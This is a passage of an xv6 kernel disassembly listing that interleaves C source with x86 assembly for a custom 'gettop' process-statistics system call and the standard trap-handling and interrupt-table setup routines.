p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; 801055b1: f7 eb imul %ebx 801055b3: 89 d8 mov %ebx,%eax 801055b5: c1 f8 1f sar $0x1f,%eax { if (p->pid != 0) { // TIME+ p->calticks = sys_uptime() - p->myticks; 801055b8: 89 5e 10 mov %ebx,0x10(%esi) int timedecimal = 0; int res[6]; int i; for (i = 0; i < 6; i++) { res[i] = 0; 801055bb: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) // TIME+ p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; 801055c2: 89 d1 mov %edx,%ecx int minutes = seconds / 60; 801055c4: ba 89 88 88 88 mov $0x88888889,%edx // TIME+ p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; 801055c9: c1 f9 05 sar $0x5,%ecx 801055cc: 29 c1 sub %eax,%ecx int minutes = seconds / 60; 801055ce: 89 c8 mov %ecx,%eax 801055d0: f7 ea imul %edx int timedecimal = 0; int res[6]; int i; for (i = 0; i < 6; i++) { res[i] = 0; 801055d2: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp) 801055d9: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) 801055e0: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) // TIME+ p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; int minutes = seconds / 60; 801055e7: 8d 04 0a lea (%edx,%ecx,1),%eax no_ticks = no_ticks - (seconds * 100); seconds = seconds - (minutes * 60); int size = (int)p->sz; int rem = size % mem; 801055ea: ba 93 24 49 92 mov $0x92492493,%edx // TIME+ p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; int minutes = seconds / 60; 801055ef: 89 45 c0 mov %eax,-0x40(%ebp) 801055f2: 89 c8 mov %ecx,%eax 801055f4: c1 7d c0 05 sarl $0x5,-0x40(%ebp) 801055f8: c1 f8 1f sar $0x1f,%eax 801055fb: 29 45 c0 sub %eax,-0x40(%ebp) no_ticks = no_ticks - (seconds * 100); 801055fe: 6b c1 9c imul $0xffffff9c,%ecx,%eax int timedecimal = 0; int res[6]; int i; for (i = 0; i < 6; i++) { res[i] = 0; 80105601: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; int minutes = seconds / 60; no_ticks = no_ticks - (seconds * 100); 80105608: 01 d8 add %ebx,%eax int i; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 8010560a: 31 db xor %ebx,%ebx p->calticks = sys_uptime() - p->myticks; no_ticks = (p->calticks); //division int seconds = no_ticks / 100; int minutes = seconds / 60; no_ticks = no_ticks - (seconds * 100); 8010560c: 89 45 ac mov %eax,-0x54(%ebp) seconds = seconds - (minutes * 60); 8010560f: 6b 45 c0 c4 imul $0xffffffc4,-0x40(%ebp),%eax 80105613: 01 c8 add %ecx,%eax 80105615: 89 45 a8 mov %eax,-0x58(%ebp) int size = (int)p->sz; 80105618: 8b 46 94 mov -0x6c(%esi),%eax 8010561b: 89 45 c4 mov %eax,-0x3c(%ebp) int rem = size % mem; 8010561e: f7 ea imul %edx 80105620: 8b 45 c4 mov -0x3c(%ebp),%eax 80105623: 01 c2 add %eax,%edx 80105625: c1 fa 1b sar $0x1b,%edx 80105628: c1 f8 1f sar $0x1f,%eax 8010562b: 89 d1 mov %edx,%ecx 8010562d: 29 c1 sub %eax,%ecx int timewhole = size / mem; 8010562f: 29 c2 sub %eax,%edx int i; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 80105631: 8b 45 c4 mov -0x3c(%ebp),%eax int seconds = no_ticks / 100; int minutes = seconds / 60; no_ticks = no_ticks - (seconds * 100); seconds = seconds - (minutes * 60); int size = (int)p->sz; int rem = size % mem; 80105634: 69 c9 00 00 00 0e imul $0xe000000,%ecx,%ecx int timewhole = size / mem; 8010563a: 89 55 b4 mov %edx,-0x4c(%ebp) int i; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 8010563d: 29 c8 sub %ecx,%eax 8010563f: 89 c1 mov %eax,%ecx 80105641: 74 3c je 8010567f <sys_gettop+0x21f> 80105643: 89 75 b8 mov %esi,-0x48(%ebp) 80105646: 8b 75 bc mov -0x44(%ebp),%esi 80105649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { rem = rem * 10; 80105650: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 80105653: 01 c9 add %ecx,%ecx res[i] = rem / mem; 80105655: 89 c8 mov %ecx,%eax 80105657: f7 ef imul %edi 80105659: 89 c8 mov %ecx,%eax 8010565b: c1 f8 1f sar $0x1f,%eax 8010565e: 01 ca add %ecx,%edx 80105660: c1 fa 1b sar $0x1b,%edx 80105663: 29 c2 sub %eax,%edx 80105665: 89 14 9e mov %edx,(%esi,%ebx,4) rem = rem - (mem * res[i]); 80105668: 69 d2 00 00 00 0e imul $0xe000000,%edx,%edx int i; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 8010566e: 83 c3 01 add $0x1,%ebx { rem = rem * 10; res[i] = rem / mem; rem = rem - (mem * res[i]); 80105671: 29 d1 sub %edx,%ecx int i; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 80105673: 83 fb 05 cmp $0x5,%ebx 80105676: 7f 04 jg 8010567c <sys_gettop+0x21c> 80105678: 85 c9 test %ecx,%ecx 8010567a: 75 d4 jne 80105650 <sys_gettop+0x1f0> 8010567c: 8b 75 b8 mov -0x48(%ebp),%esi { rem = rem * 10; res[i] = rem / mem; rem = rem - (mem * res[i]); } timewhole = (timewhole * 100) + (res[0] * 10) + (res[1] * 1); 8010567f: 8b 45 d0 mov -0x30(%ebp),%eax no_ticks = no_ticks - (seconds * 100); seconds = seconds - (minutes * 60); int size = (int)p->sz; int rem = size % mem; int timewhole = size / mem; int timedecimal = 0; 80105682: 31 ff xor %edi,%edi { rem = rem * 10; res[i] = rem / mem; rem = rem - (mem * res[i]); } timewhole = (timewhole * 100) + (res[0] * 10) + (res[1] * 1); 80105684: 6b 55 b4 64 imul $0x64,-0x4c(%ebp),%edx 80105688: 8d 04 80 lea (%eax,%eax,4),%eax 8010568b: 8d 04 42 lea (%edx,%eax,2),%eax 8010568e: 89 45 b8 mov %eax,-0x48(%ebp) 80105691: 8b 45 d4 mov -0x2c(%ebp),%eax 80105694: 01 45 b8 add %eax,-0x48(%ebp) 80105697: 8d 45 d8 lea -0x28(%ebp),%eax for (i = 2; i < 6; i++) { timedecimal = (timedecimal * 10) + res[i]; 8010569a: 8b 10 mov (%eax),%edx rem = rem * 10; res[i] = rem / mem; rem = rem - (mem * res[i]); } timewhole = (timewhole * 100) + (res[0] * 10) + (res[1] * 1); for (i = 2; i < 6; i++) 8010569c: 8d 5d e8 lea -0x18(%ebp),%ebx 8010569f: 83 c0 04 add $0x4,%eax { timedecimal = (timedecimal * 10) + res[i]; 801056a2: 8d 0c bf lea (%edi,%edi,4),%ecx rem = rem * 10; res[i] = rem / mem; rem = rem - (mem * res[i]); } timewhole = (timewhole * 100) + (res[0] * 10) + (res[1] * 1); for (i = 2; i < 6; i++) 801056a5: 39 d8 cmp %ebx,%eax { timedecimal = (timedecimal * 10) + res[i]; 801056a7: 8d 3c 4a lea (%edx,%ecx,2),%edi rem = rem * 10; res[i] = rem / mem; rem = rem - (mem * res[i]); } timewhole = (timewhole * 100) + (res[0] * 10) + (res[1] * 1); for (i = 2; i < 6; i++) 801056aa: 75 ee jne 8010569a <sys_gettop+0x23a> // since start. int sys_uptime(void) { uint xticks; acquire(&tickslock); 801056ac: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 801056b3: e8 78 eb ff ff call 80104230 <acquire> xticks = ticks; 801056b8: a1 a0 5b 11 80 mov 0x80115ba0,%eax release(&tickslock); 801056bd: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) int sys_uptime(void) { uint xticks; acquire(&tickslock); xticks = ticks; 801056c4: 89 c3 mov %eax,%ebx 801056c6: 89 45 a0 mov %eax,-0x60(%ebp) release(&tickslock); 801056c9: e8 d2 eb ff ff call 801042a0 <release> timedecimal = (timedecimal * 10) + res[i]; } // %CPU int total_time = sys_uptime(); int elapsed_time = p->calticks; 801056ce: 8b 46 10 mov 0x10(%esi),%eax usagedecimal = 0; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 801056d1: 31 c9 xor %ecx,%ecx rem = elapsed_time % total_time; usagewhole = elapsed_time / total_time; usagedecimal = 0; for (i = 0; i < 6; i++) { res[i] = 0; 801056d3: c7 45 d0 00 00 00 00 movl $0x0,-0x30(%ebp) 801056da: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) 801056e1: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp) // %CPU int total_time = sys_uptime(); int elapsed_time = p->calticks; int usagewhole, usagedecimal; //division rem = elapsed_time % total_time; 801056e8: 99 cltd 801056e9: f7 fb idiv %ebx usagewhole = elapsed_time / total_time; usagedecimal = 0; for (i = 0; i < 6; i++) { res[i] = 0; 801056eb: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) 801056f2: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) 801056f9: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) // %CPU int total_time = sys_uptime(); int elapsed_time = p->calticks; int usagewhole, usagedecimal; //division rem = elapsed_time % total_time; 80105700: 89 45 a4 mov %eax,-0x5c(%ebp) usagedecimal = 0; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 80105703: 85 d2 test %edx,%edx 80105705: 8d 45 d0 lea -0x30(%ebp),%eax 80105708: 89 45 bc mov %eax,-0x44(%ebp) 8010570b: 74 37 je 80105744 <sys_gettop+0x2e4> 8010570d: 89 7d b4 mov %edi,-0x4c(%ebp) 80105710: 8b 7d bc mov -0x44(%ebp),%edi 80105713: 89 d3 mov %edx,%ebx 80105715: 89 75 b0 mov %esi,-0x50(%ebp) 80105718: 8b 75 a0 mov -0x60(%ebp),%esi 8010571b: 90 nop 8010571c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { rem = rem * 10; 80105720: 8d 1c 9b lea (%ebx,%ebx,4),%ebx 80105723: 01 db add %ebx,%ebx res[i] = rem / total_time; 80105725: 89 d8 mov %ebx,%eax 80105727: 99 cltd 80105728: f7 fe idiv %esi 8010572a: 89 04 8f mov %eax,(%edi,%ecx,4) rem = rem - (total_time * res[i]); 8010572d: 0f af c6 imul %esi,%eax usagedecimal = 0; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 80105730: 83 c1 01 add $0x1,%ecx { rem = rem * 10; res[i] = rem / total_time; rem = rem - (total_time * res[i]); 80105733: 29 c3 sub %eax,%ebx usagedecimal = 0; for (i = 0; i < 6; i++) { res[i] = 0; } for (i = 0; i < 6 && rem != 0; i++) 80105735: 83 f9 05 cmp $0x5,%ecx 80105738: 7f 04 jg 8010573e <sys_gettop+0x2de> 8010573a: 85 db test %ebx,%ebx 8010573c: 75 e2 jne 80105720 <sys_gettop+0x2c0> 8010573e: 8b 7d b4 mov -0x4c(%ebp),%edi 80105741: 8b 75 b0 mov -0x50(%ebp),%esi { rem = rem * 10; res[i] = rem / total_time; rem = rem - (total_time * res[i]); } usagewhole = (usagewhole * 100) + (res[0] * 10) + (res[1] * 1); 80105744: 8b 45 d0 mov -0x30(%ebp),%eax 80105747: 6b 55 a4 64 imul $0x64,-0x5c(%ebp),%edx 8010574b: 8d 04 80 lea (%eax,%eax,4),%eax 8010574e: 8d 1c 42 lea (%edx,%eax,2),%ebx int elapsed_time = p->calticks; int usagewhole, usagedecimal; //division rem = elapsed_time % total_time; usagewhole = elapsed_time / total_time; usagedecimal = 0; 80105751: 31 d2 xor %edx,%edx { rem = rem * 10; res[i] = rem / total_time; rem = rem - (total_time * res[i]); } usagewhole = (usagewhole * 100) + (res[0] * 10) + (res[1] * 1); 80105753: 03 5d d4 add -0x2c(%ebp),%ebx 80105756: 8d 45 d8 lea -0x28(%ebp),%eax for (i = 2; i < 6; i++) { usagedecimal = (usagedecimal * 10) + res[i]; 80105759: 8d 0c 92 lea (%edx,%edx,4),%ecx 8010575c: 8b 10 mov (%eax),%edx 8010575e: 83 c0 04 add $0x4,%eax 80105761: 8d 14 4a lea (%edx,%ecx,2),%edx rem = rem * 10; res[i] = rem / total_time; rem = rem - (total_time * res[i]); } usagewhole = (usagewhole * 100) + (res[0] * 10) + (res[1] * 1); for (i = 2; i < 6; i++) 80105764: 8d 4d e8 lea -0x18(%ebp),%ecx 80105767: 39 c8 cmp %ecx,%eax 80105769: 75 ee jne 80105759 <sys_gettop+0x2f9> { usagedecimal = (usagedecimal * 10) + res[i]; } //print cprintf("\n %d %s %s %s %d %d:%d.%d %d.%d %d.%d", 8010576b: 8b 45 b8 mov -0x48(%ebp),%eax 8010576e: 89 54 24 30 mov %edx,0x30(%esp) 80105772: 89 5c 24 2c mov %ebx,0x2c(%esp) 80105776: 89 7c 24 28 mov %edi,0x28(%esp) 8010577a: 89 44 24 24 mov %eax,0x24(%esp) 8010577e: 8b 45 ac mov -0x54(%ebp),%eax 80105781: 89 44 24 20 mov %eax,0x20(%esp) 80105785: 8b 45 a8 mov -0x58(%ebp),%eax 80105788: 89 44 24 1c mov %eax,0x1c(%esp) 8010578c: 8b 45 c0 mov -0x40(%ebp),%eax 8010578f: 89 44 24 18 mov %eax,0x18(%esp) 80105793: 8b 45 c4 mov -0x3c(%ebp),%eax 80105796: 89 44 24 14 mov %eax,0x14(%esp) 8010579a: 8b 46 a0 mov -0x60(%esi),%eax 8010579d: 89 74 24 0c mov %esi,0xc(%esp) 801057a1: 81 c6 84 00 00 00 add $0x84,%esi 801057a7: c7 44 24 08 3f 78 10 movl $0x8010783f,0x8(%esp) 801057ae: 80 801057af: 8b 04 85 64 79 10 80 mov -0x7fef869c(,%eax,4),%eax 801057b6: 89 44 24 10 mov %eax,0x10(%esp) 801057ba: 8b 86 20 ff ff ff mov -0xe0(%esi),%eax 801057c0: c7 04 24 28 79 10 80 movl $0x80107928,(%esp) 801057c7: 89 44 24 04 mov %eax,0x4(%esp) 801057cb: e8 80 ae ff ff call 80100650 <cprintf> p->pid, "root", p->name, states[p->state], size, minutes, seconds, no_ticks, timewhole, timedecimal, usagewhole, usagedecimal); cprintf("\n"); 801057d0: c7 04 24 5b 7b 10 80 movl $0x80107b5b,(%esp) 801057d7: e8 74 ae ff ff call 80100650 <cprintf> // printing stats cprintf("\nUser : Root \nTasks: \nTotal: %d Unused: %d Embryo: %d Sleeping: %d Runnable: %d Running: %d Zombie: %d", NPROC,unused,embryo,sleeping,runnable,running,zombie); cprintf("\nCPU Size : %d \nTicks : %d\n",mem,sys_uptime()); cprintf("\nPID USER COMMAND STATE RES TIME+ %%MEM %%CPU"); for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801057dc: 81 fe c0 4e 11 80 cmp $0x80114ec0,%esi 801057e2: 0f 85 8a fd ff ff jne 80105572 <sys_gettop+0x112> cprintf("\n"); } } return 0; 801057e8: 81 c4 8c 00 00 00 add $0x8c,%esp 801057ee: 31 c0 xor %eax,%eax 801057f0: 5b pop %ebx 801057f1: 5e pop %esi 801057f2: 5f pop %edi 801057f3: 5d pop %ebp 801057f4: c3 ret 801057f5: 8d 76 00 lea 0x0(%esi),%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) { if (p->state == 0) unused++; else if (p->state == 1) embryo++ ; 801057f8: 83 c3 01 add $0x1,%ebx 801057fb: e9 9b fc ff ff jmp 8010549b <sys_gettop+0x3b> else if (p->state == 2) sleeping++; 80105800: 83 c7 01 add $0x1,%edi 80105803: e9 93 fc ff ff jmp 8010549b <sys_gettop+0x3b> else if (p->state == 3) runnable++; 80105808: 83 45 c4 01 addl $0x1,-0x3c(%ebp) 8010580c: e9 8a fc ff ff jmp 8010549b <sys_gettop+0x3b> 80105811: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi else if (p->state == 4) running++; 80105818: 83 45 c0 01 addl $0x1,-0x40(%ebp) 8010581c: e9 7a fc ff ff jmp 8010549b <sys_gettop+0x3b> 80105821 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 80105821: 1e push %ds pushl %es 80105822: 06 push %es pushl %fs 80105823: 0f a0 push %fs pushl %gs 80105825: 0f a8 push %gs pushal 80105827: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105828: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 8010582c: 8e d8 mov %eax,%ds movw %ax, %es 8010582e: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 80105830: 54 push %esp call trap 80105831: e8 ea 00 00 00 call 80105920 <trap> addl $4, %esp 80105836: 83 c4 04 add $0x4,%esp 80105839 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105839: 61 popa popl %gs 8010583a: 0f a9 pop %gs popl %fs 8010583c: 0f a1 pop %fs popl %es 8010583e: 07 pop %es popl %ds 8010583f: 1f pop %ds addl $0x8, %esp # trapno and errcode 80105840: 83 c4 08 add $0x8,%esp iret 80105843: cf iret 80105844: 66 90 xchg %ax,%ax 80105846: 66 90 xchg %ax,%ax 80105848: 66 90 xchg %ax,%ax 8010584a: 66 90 xchg %ax,%ax 8010584c: 66 90 xchg %ax,%ax 8010584e: 66 90 xchg %ax,%ax 80105850 <tvinit>: void tvinit(void) { int i; for(i = 0; i < 256; i++) 80105850: 31 c0 xor %eax,%eax 80105852: 8d b6 00 00 00 00 lea 0x0(%esi),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105858: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 8010585f: b9 08 00 00 00 mov $0x8,%ecx 80105864: 66 89 0c c5 a2 53 11 mov %cx,-0x7feeac5e(,%eax,8) 8010586b: 80 8010586c: c6 04 c5 a4 53 11 80 movb $0x0,-0x7feeac5c(,%eax,8) 80105873: 00 80105874: c6 04 c5 a5 53 11 80 movb $0x8e,-0x7feeac5b(,%eax,8) 8010587b: 8e 8010587c: 66 89 14 c5 a0 53 11 mov %dx,-0x7feeac60(,%eax,8) 80105883: 80 80105884: c1 ea 10 shr $0x10,%edx 80105887: 66 89 14 c5 a6 53 11 mov %dx,-0x7feeac5a(,%eax,8) 8010588e: 80 void tvinit(void) { int i; for(i = 0; i < 256; i++) 8010588f: 83 c0 01 add $0x1,%eax 80105892: 3d 00 01 00 00 cmp $0x100,%eax 80105897: 75 bf jne 80105858 <tvinit+0x8> struct spinlock tickslock; uint ticks; void tvinit(void) { 80105899: 55 push %ebp int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 8010589a: ba 08 00 00 00 mov $0x8,%edx struct spinlock tickslock; uint ticks; void tvinit(void) { 8010589f: 89 e5 mov %esp,%ebp 801058a1: 83 ec 18 sub $0x18,%esp int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801058a4: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 801058a9: c7 44 24 04 7c 79 10 movl $0x8010797c,0x4(%esp) 801058b0: 80 801058b1: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) { int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801058b8: 66 89 15 a2 55 11 80 mov %dx,0x801155a2 801058bf: 66 a3 a0 55 11 80 mov %ax,0x801155a0 801058c5: c1 e8 10 shr $0x10,%eax 801058c8: c6 05 a4 55 11 80 00 movb $0x0,0x801155a4 801058cf: c6 05 a5 55 11 80 ef movb $0xef,0x801155a5 801058d6: 66 a3 a6 55 11 80 mov %ax,0x801155a6 initlock(&tickslock, "time"); 801058dc: e8 df e7 ff ff call 801040c0 <initlock> } 801058e1: c9 leave 801058e2: c3 ret 801058e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801058e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801058f0 <idtinit>: void idtinit(void) { 801058f0: 55 push %ebp static inline void lidt(struct gatedesc *p, int size) { volatile ushort pd[3]; pd[0] = size-1; 801058f1: b8 ff 07 00 00 mov $0x7ff,%eax 801058f6: 89 e5 mov %esp,%ebp 801058f8: 83 ec 10 sub $0x10,%esp 801058fb: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 801058ff: b8 a0 53 11 80 mov $0x801153a0,%eax 80105904: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105908: c1 e8 10 shr $0x10,%eax 8010590b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010590f: 8d 45 fa lea -0x6(%ebp),%eax 80105912: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80105915: c9 leave 80105916: c3 ret 80105917: 89 f6 mov %esi,%esi 80105919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105920 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105920: 55 push %ebp 80105921: 89 e5 mov %esp,%ebp 80105923: 57 push %edi 80105924: 56 push %esi 80105925: 53 push %ebx 80105926: 83 ec 3c sub $0x3c,%esp 80105929: 8b 5d 08 mov 0x8(%ebp),%ebx if(tf->trapno == T_SYSCALL){ 8010592c: 8b 43 30 mov 0x30(%ebx),%eax 8010592f: 83 f8 40 cmp $0x40,%eax 80105932: 0f 84 a0 01 00 00 je 80105ad8 <trap+0x1b8> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105938: 83 e8 20 sub $0x20,%eax 8010593b: 83 f8 1f cmp $0x1f,%eax 8010593e: 77 08 ja 80105948 <trap+0x28> 80105940: ff 24 85 24 7a 10 80 jmp *-0x7fef85dc(,%eax,4) 80105947: 90 nop lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105948: e8 63 dd ff ff call 801036b0 <myproc> 8010594d: 85 c0 test %eax,%eax 8010594f: 90 nop 80105950: 0f 84 fa 01 00 00 je 80105b50 <trap+0x230> 80105956: f6 43 3c 03 testb $0x3,0x3c(%ebx) 8010595a: 0f 84 f0 01 00 00 je 80105b50 <trap+0x230> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80105960: 0f 20 d1 mov %cr2,%ecx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105963: 8b 53 38 mov 0x38(%ebx),%edx 80105966: 89 4d d8 mov %ecx,-0x28(%ebp) 80105969: 89 55 dc mov %edx,-0x24(%ebp) 8010596c: e8 1f dd ff ff call 80103690 <cpuid> 80105971: 8b 73 30 mov 0x30(%ebx),%esi 80105974: 89 c7 mov %eax,%edi 80105976: 8b 43 34 mov 0x34(%ebx),%eax 80105979: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 8010597c: e8 2f dd ff ff call 801036b0 <myproc> 80105981: 89 45 e0 mov %eax,-0x20(%ebp) 80105984: e8 27 dd ff ff call 801036b0 <myproc> cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105989: 8b 55 dc mov -0x24(%ebp),%edx 8010598c: 89 74 24 0c mov %esi,0xc(%esp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 80105990: 8b 75 e0 mov -0x20(%ebp),%esi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105993: 8b 4d d8 mov -0x28(%ebp),%ecx 80105996: 89 7c 24 14 mov %edi,0x14(%esp) 8010599a: 89 54 24 18 mov %edx,0x18(%esp) 8010599e: 8b 55 e4 mov -0x1c(%ebp),%edx "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 801059a1: 83 c6 6c add $0x6c,%esi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 801059a4: 89 4c 24 1c mov %ecx,0x1c(%esp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 801059a8: 89 74 24 08 mov %esi,0x8(%esp) cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 801059ac: 89 54 24 10 mov %edx,0x10(%esp) 801059b0: 8b 40 10 mov 0x10(%eax),%eax 801059b3: c7 04 24 e0 79 10 80 movl $0x801079e0,(%esp) 801059ba: 89 44 24 04 mov %eax,0x4(%esp) 801059be: e8 8d ac ff ff call 80100650 <cprintf> "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 801059c3: e8 e8 dc ff ff call 801036b0 <myproc> 801059c8: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 801059cf: 90 nop } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059d0: e8 db dc ff ff call 801036b0 <myproc> 801059d5: 85 c0 test %eax,%eax 801059d7: 74 0c je 801059e5 <trap+0xc5> 801059d9: e8 d2 dc ff ff call 801036b0 <myproc> 801059de: 8b 50 24 mov 0x24(%eax),%edx 801059e1: 85 d2 test %edx,%edx 801059e3: 75 4b jne 80105a30 <trap+0x110> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 801059e5: e8 c6 dc ff ff call 801036b0 <myproc> 801059ea: 85 c0 test %eax,%eax 801059ec: 74 0d je 801059fb <trap+0xdb> 801059ee: 66 90 xchg %ax,%ax 801059f0: e8 bb dc ff ff call 801036b0 <myproc> 801059f5: 83 78 0c 04 cmpl $0x4,0xc(%eax) 801059f9: 74 4d je 80105a48 <trap+0x128> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059fb: e8 b0 dc ff ff call 801036b0 <myproc> 80105a00: 85 c0 test %eax,%eax 80105a02: 74 1d je 80105a21 <trap+0x101> 80105a04: e8 a7 dc ff ff call 801036b0 <myproc> 80105a09: 8b 40 24 mov 0x24(%eax),%eax 80105a0c: 85 c0 test %eax,%eax 80105a0e: 74 11 je 80105a21 <trap+0x101> 80105a10: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105a14: 83 e0 03 and $0x3,%eax 80105a17: 66 83 f8 03 cmp $0x3,%ax 80105a1b: 0f 84 e8 00 00 00 je 80105b09 <trap+0x1e9> exit(); } 80105a21: 83 c4 3c add $0x3c,%esp 80105a24: 5b pop %ebx 80105a25: 5e pop %esi 80105a26: 5f pop %edi 80105a27: 5d pop %ebp 80105a28: c3 ret 80105a29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105a30: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105a34: 83 e0 03 and $0x3,%eax 80105a37: 66 83 f8 03 cmp $0x3,%ax 80105a3b: 75 a8 jne 801059e5 <trap+0xc5> exit(); 80105a3d: e8 7e e0 ff ff call 80103ac0 <exit> 80105a42: eb a1 jmp 801059e5 <trap+0xc5> 80105a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 80105a48: 83 7b 30 20 cmpl $0x20,0x30(%ebx) 80105a4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105a50: 75 a9 jne 801059fb <trap+0xdb> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); 80105a52: e8 99 e1 ff ff call 80103bf0 <yield> 80105a57: eb a2 jmp 801059fb <trap+0xdb> 80105a59: 8d b4 26 00 00 00 00 lea 